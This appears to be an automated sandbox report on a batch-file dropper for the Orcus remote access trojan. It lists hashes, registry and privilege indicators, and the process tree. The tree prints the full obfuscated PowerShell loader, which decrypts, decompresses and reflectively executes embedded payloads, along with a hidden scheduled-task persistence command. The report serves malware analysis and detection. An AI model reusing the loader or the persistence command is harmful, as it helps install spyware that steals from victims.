orcus | c7839838688246f588d1324d07bae059efc8e4377b1ad5e9b17d9df92214c5a3

Analysis

max time kernel
141s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
25-04-2024 01:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

10^/10

orcus rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/5072-54-0x0000023554A00000-0x0000023554CFA000-memory.dmp	orcus

Blocklisted process makes network request 2 IoCs

flow	pid	Process
43	5072	powershell.exe
44	5072	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2188	powershell.exe
2188	powershell.exe
4084	powershell.exe
4084	powershell.exe
5072	powershell.exe
5072	powershell.exe
5072	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2188	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeIncreaseQuotaPrivilege	4084	powershell.exe
Token: SeSecurityPrivilege	4084	powershell.exe
Token: SeTakeOwnershipPrivilege	4084	powershell.exe
Token: SeLoadDriverPrivilege	4084	powershell.exe
Token: SeSystemProfilePrivilege	4084	powershell.exe
Token: SeSystemtimePrivilege	4084	powershell.exe
Token: SeProfSingleProcessPrivilege	4084	powershell.exe
Token: SeIncBasePriorityPrivilege	4084	powershell.exe
Token: SeCreatePagefilePrivilege	4084	powershell.exe
Token: SeBackupPrivilege	4084	powershell.exe
Token: SeRestorePrivilege	4084	powershell.exe
Token: SeShutdownPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeSystemEnvironmentPrivilege	4084	powershell.exe
Token: SeRemoteShutdownPrivilege	4084	powershell.exe
Token: SeUndockPrivilege	4084	powershell.exe
Token: SeManageVolumePrivilege	4084	powershell.exe
Token: 33	4084	powershell.exe
Token: 34	4084	powershell.exe
Token: 35	4084	powershell.exe
Token: 36	4084	powershell.exe
Token: SeIncreaseQuotaPrivilege	4084	powershell.exe
Token: SeSecurityPrivilege	4084	powershell.exe
Token: SeTakeOwnershipPrivilege	4084	powershell.exe
Token: SeLoadDriverPrivilege	4084	powershell.exe
Token: SeSystemProfilePrivilege	4084	powershell.exe
Token: SeSystemtimePrivilege	4084	powershell.exe
Token: SeProfSingleProcessPrivilege	4084	powershell.exe
Token: SeIncBasePriorityPrivilege	4084	powershell.exe
Token: SeCreatePagefilePrivilege	4084	powershell.exe
Token: SeBackupPrivilege	4084	powershell.exe
Token: SeRestorePrivilege	4084	powershell.exe
Token: SeShutdownPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeSystemEnvironmentPrivilege	4084	powershell.exe
Token: SeRemoteShutdownPrivilege	4084	powershell.exe
Token: SeUndockPrivilege	4084	powershell.exe
Token: SeManageVolumePrivilege	4084	powershell.exe
Token: 33	4084	powershell.exe
Token: 34	4084	powershell.exe
Token: 35	4084	powershell.exe
Token: 36	4084	powershell.exe
Token: SeIncreaseQuotaPrivilege	4084	powershell.exe
Token: SeSecurityPrivilege	4084	powershell.exe
Token: SeTakeOwnershipPrivilege	4084	powershell.exe
Token: SeLoadDriverPrivilege	4084	powershell.exe
Token: SeSystemProfilePrivilege	4084	powershell.exe
Token: SeSystemtimePrivilege	4084	powershell.exe
Token: SeProfSingleProcessPrivilege	4084	powershell.exe
Token: SeIncBasePriorityPrivilege	4084	powershell.exe
Token: SeCreatePagefilePrivilege	4084	powershell.exe
Token: SeBackupPrivilege	4084	powershell.exe
Token: SeRestorePrivilege	4084	powershell.exe
Token: SeShutdownPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeSystemEnvironmentPrivilege	4084	powershell.exe
Token: SeRemoteShutdownPrivilege	4084	powershell.exe
Token: SeUndockPrivilege	4084	powershell.exe
Token: SeManageVolumePrivilege	4084	powershell.exe
Token: 33	4084	powershell.exe
Token: 34	4084	powershell.exe
Token: 35	4084	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5072	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
5072	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4528 wrote to memory of 2188	4528	cmd.exe	91
PID 4528 wrote to memory of 2188	4528	cmd.exe	91
PID 2188 wrote to memory of 4084	2188	powershell.exe	93
PID 2188 wrote to memory of 4084	2188	powershell.exe	93
PID 2188 wrote to memory of 4512	2188	powershell.exe	101
PID 2188 wrote to memory of 4512	2188	powershell.exe	101
PID 4512 wrote to memory of 1084	4512	WScript.exe	102
PID 4512 wrote to memory of 1084	4512	WScript.exe	102
PID 1084 wrote to memory of 5072	1084	cmd.exe	105
PID 1084 wrote to memory of 5072	1084	cmd.exe	105

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_685_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_685.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4084
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_685.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_685.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_685.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6dbec8672fc9ce37a4c17f4f010951c8

SHA1
2589c00107f4a9c44f4371c32fe6de51d8b8ce15

SHA256
08dfbb177809ba1d2bbc1ce2b7a5771b88bd261655a60a4b285949c275a75f53

SHA512
a77d4c4aedc80be91b31c10e7130519bd6e2d6e6aed58d3f7927a80bec3005a8ce8b4e20be9d9bcd2f52d2476dd3500554fc5a10229db62e40414c5fd246f734

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvux2zmr.102.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_685.bat

Filesize
3.5MB

MD5
45730c9d81cdc2677ea2bd082eb79edb

SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b

SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_685.vbs

Filesize
115B

MD5
bf8338be183a1ba2d5738aea15bd3380

SHA1
f40fe0654c7f8f37c25ded653a85afaad982ec2f

SHA256
5a6ad20f15896038fb00983d08ec1b5089aed160f8a014af9728c1af5c6d6daa

SHA512
461e59b0b254fc6325be6dbbde5f89590ccd77df3e83a6f4bfce4453754c40c615e0dc1535d09839aa36308c6b692923c9e9af380a0c45d1b321edf18e18aa31

Download Submit
memory/2188-11-0x00000258C8850000-0x00000258C8860000-memory.dmp

Filesize
64KB

Download
memory/2188-14-0x00000258D2D40000-0x00000258D2FE8000-memory.dmp

Filesize
2.7MB

Download
memory/2188-13-0x00000258B04B0000-0x00000258B04B8000-memory.dmp

Filesize
32KB

Download
memory/2188-53-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/2188-12-0x00000258C8850000-0x00000258C8860000-memory.dmp

Filesize
64KB

Download
memory/2188-9-0x00000258B06F0000-0x00000258B0712000-memory.dmp

Filesize
136KB

Download
memory/2188-10-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/4084-25-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/4084-27-0x000002099C6E0000-0x000002099C6F0000-memory.dmp

Filesize
64KB

Download
memory/4084-26-0x000002099C6E0000-0x000002099C6F0000-memory.dmp

Filesize
64KB

Download
memory/4084-28-0x000002099C6E0000-0x000002099C6F0000-memory.dmp

Filesize
64KB

Download
memory/4084-31-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/5072-49-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/5072-51-0x000002354A360000-0x000002354A370000-memory.dmp

Filesize
64KB

Download
memory/5072-50-0x000002354A360000-0x000002354A370000-memory.dmp

Filesize
64KB

Download
memory/5072-54-0x0000023554A00000-0x0000023554CFA000-memory.dmp

Filesize
3.0MB

Download
memory/5072-55-0x0000023531BE0000-0x0000023531C3C000-memory.dmp

Filesize
368KB

Download
memory/5072-56-0x000002354C4B0000-0x000002354C4BE000-memory.dmp

Filesize
56KB

Download
memory/5072-57-0x000002354C4E0000-0x000002354C4F2000-memory.dmp

Filesize
72KB

Download
memory/5072-58-0x000002354C4F0000-0x000002354C508000-memory.dmp

Filesize
96KB

Download
memory/5072-59-0x000002354C4D0000-0x000002354C4E0000-memory.dmp

Filesize
64KB

Download
memory/5072-60-0x000002354A360000-0x000002354A370000-memory.dmp

Filesize
64KB

Download
memory/5072-63-0x00000235553E0000-0x00000235553F2000-memory.dmp

Filesize
72KB

Download
memory/5072-64-0x0000023555440000-0x000002355547C000-memory.dmp

Filesize
240KB

Download
memory/5072-65-0x0000023555590000-0x000002355569A000-memory.dmp

Filesize
1.0MB

Download
memory/5072-66-0x0000023555870000-0x0000023555A32000-memory.dmp

Filesize
1.8MB

Download
memory/5072-67-0x00007FFDD1CD0000-0x00007FFDD2791000-memory.dmp

Filesize
10.8MB

Download
memory/5072-68-0x000002354A360000-0x000002354A370000-memory.dmp

Filesize
64KB

Download
memory/5072-69-0x000002354A360000-0x000002354A370000-memory.dmp

Filesize
64KB

Download